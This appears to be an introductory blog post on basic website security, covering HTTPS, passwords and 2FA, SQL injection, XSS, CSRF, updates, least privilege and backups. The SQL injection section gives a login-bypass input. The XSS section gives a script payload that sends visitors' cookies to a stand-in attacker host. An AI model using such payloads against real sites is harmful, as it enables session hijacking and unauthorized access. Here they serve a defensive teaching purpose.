With the advancement of internet technology, anyone can easily launch a blog, an online store, or a corporate promotional website. However, what is even more important than launching a site is how to keep it safe. Hacking and personal data breach incidents are not just problems for large corporations. Personal blogs or small-to-medium websites with weak security measures are easily exposed to hackers' automated attack tools (Bots) and can quickly be exploited as malware distribution sites or spam email servers.
Website security might feel difficult and complex, but just knowing a few basic principles and practices can effectively block most common attacks. In this post, we will introduce fundamental website security concepts and practical countermeasures that anyone operating or managing a website for the first time must know.
—
1. The Start of Security: Applying SSL/HTTPS and Strong Authentication Systems
The very first thing you should do for website security is to encrypt communications between users and the server, and establish a solid gatekeeper for admin accounts.
(1) Moving Beyond HTTP: Mandatory Implementation of HTTPS (SSL/HTTPS)
In the past, many general websites used http:// addresses, but today, applying https:// is essential. Because HTTP transmits data in plain text, if someone eavesdrops on the data in transit, credentials like IDs, passwords, and payment information are exposed as is. On the other hand, HTTPS encrypts data using the SSL/TLS protocol before transmitting it.
- Practical Example: When logging into a website using public Wi-Fi at a cafe, if it's an HTTP site, a hacker on the same Wi-Fi network can read your login password as plain text using a packet sniffer program (e.g., Wireshark). Applying HTTPS encrypts this data so that hackers cannot read its contents.
- Implementation Method: You can easily apply HTTPS without financial burden by using services like 'Let's Encrypt', which issues free SSL certificates, or basic SSL options provided by hosting companies. Search engines like Google also give extra credit to HTTPS sites, making it essential for SEO (Search Engine Optimization) as well.
(2) Admin Account Password Policy and Two-Factor Authentication (2FA)
The simplest way for a hacker to compromise a website is a 'Brute Force Attack,' guessing the password of an admin account.
- Password Setup: Easily predictable phrases like
admin1234orpassword!can be breached in seconds. You should use a unique password combining uppercase and lowercase letters, numbers, and special characters, with a minimum length of 12 characters. - Adopting Two-Factor Authentication (2FA): Even if your password leaks, set up 2FA so that logging in requires entering a 6-digit code sent to a smartphone app (e.g., Google Authenticator). WordPress and most Content Management Systems (CMS) support 2FA plugins natively or via extensions.
—
2. Three Major Attacks to Watch Out for in Web Development and Defense Strategies
Attacks targeting vulnerabilities in a website's source code or input fields are very common. If developers or administrators understand major attack patterns, they can prevent incidents right from the website design phase.
(1) SQL Injection
This is an attack technique that injects malicious Database Queries (SQL statements) into a website's input fields (search bars, login forms, etc.) to leak, modify, or delete database contents.
- Attack Example: If a value like
admin' --is entered into the login ID field and the server fails to handle it properly, the password verification process may be bypassed, granting login with admin privileges. - Defense Strategy: You must use 'Prepared Statements (parameterized queries)' that do not execute user input directly as database commands. Using modern frameworks (Django, Spring, Express, etc.) generally comes with built-in defense features.
(2) XSS (Cross-Site Scripting)
This attack inserts malicious JavaScript code into message boards or comment sections to hijack cookies or session tokens of other users who read the post.
- Attack Example: Writing and posting code like
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>in a post title. The moment another user clicks this post, their login cookie information is sent to the hacker's server. - Defense Strategy: You must convert (escape) special characters entered by users into safe HTML entities. For example, apply libraries (such as DOMPurify) that convert
<to<and>to>so that the browser treats them as simple text rather than executable code.
(3) CSRF (Cross-Site Request Forgery)
An attack that exploits a user's logged-in state to force them to send unintended requests (such as changing passwords, deleting accounts, or transferring money) to a specific website.
- Defense Strategy: Implement a mechanism that issues an unpredictable random token value (CSRF Token) each time a form is submitted, and validates the token's authenticity on the server side.
—
3. Continuous Security Management: Making System Updates and Backups a Habit
Security is not something that is finished once configured. Because new vulnerabilities are discovered daily, continuous management is essential.
(1) Keep Software, Plugins, and Libraries Up to Date
You must always update software to the latest versions—not only CMS platforms like WordPress or Drupal, but also the server's operating system (e.g., Linux), programming language versions, and Open Source libraries.
- Case Study: A significant portion of the large-scale personal data breaches in 2017 occurred because hackers targeted existing vulnerabilities in used frameworks or plugins. Since known vulnerabilities (CVEs) are also shared among hackers, updates should be applied immediately once patches are released. It is recommended to completely delete unused plugins or themes.
(2) Principle of Least Privilege
When running a website, there is no need to grant 'Admin privileges' to every user or team member.
- Grant editors who write posts only 'create/edit' permissions, excluding system settings or user management permissions.
- Configure web server processes (e.g., Nginx, Apache) to have restrictive write permissions only on necessary directories (such as upload folders), preventing full filesystem write access.
(3) Establishing a Backup System: The Last Line of Defense
No matter how perfect a security system you build, a 100% secure system does not exist. To prepare against ransomware infections, server hardware failures, or data deletion due to administrator error, regular backups should be automated.
- Practical Backup Rule (3-2-1 Rule):
- Maintain at least 3 copies of data,
- Store on 2 different types of media (e.g., local server, external drive), and
- Keep 1 copy in a physically separate off-site location (e.g., cloud storage like AWS S3, Google Cloud Storage).
- Write scripts to back up databases and uploaded files on a regular schedule (e.g., once every night), or actively use the automated backup services provided by your web host.
—
The basis of website security starts not from 'complexity,' but from 'thorough adherence to basic rules.' Just three practices—applying HTTPS, using strong passwords and 2FA, and keeping software up to date—can block most website threats in advance. Please take a moment to check if the address bar of the website you manage currently displays the 'Secure (HTTPS)' indicator, or if your admin password is too simple. A little attention and inspection is the most reliable way to protect your valuable assets and user information.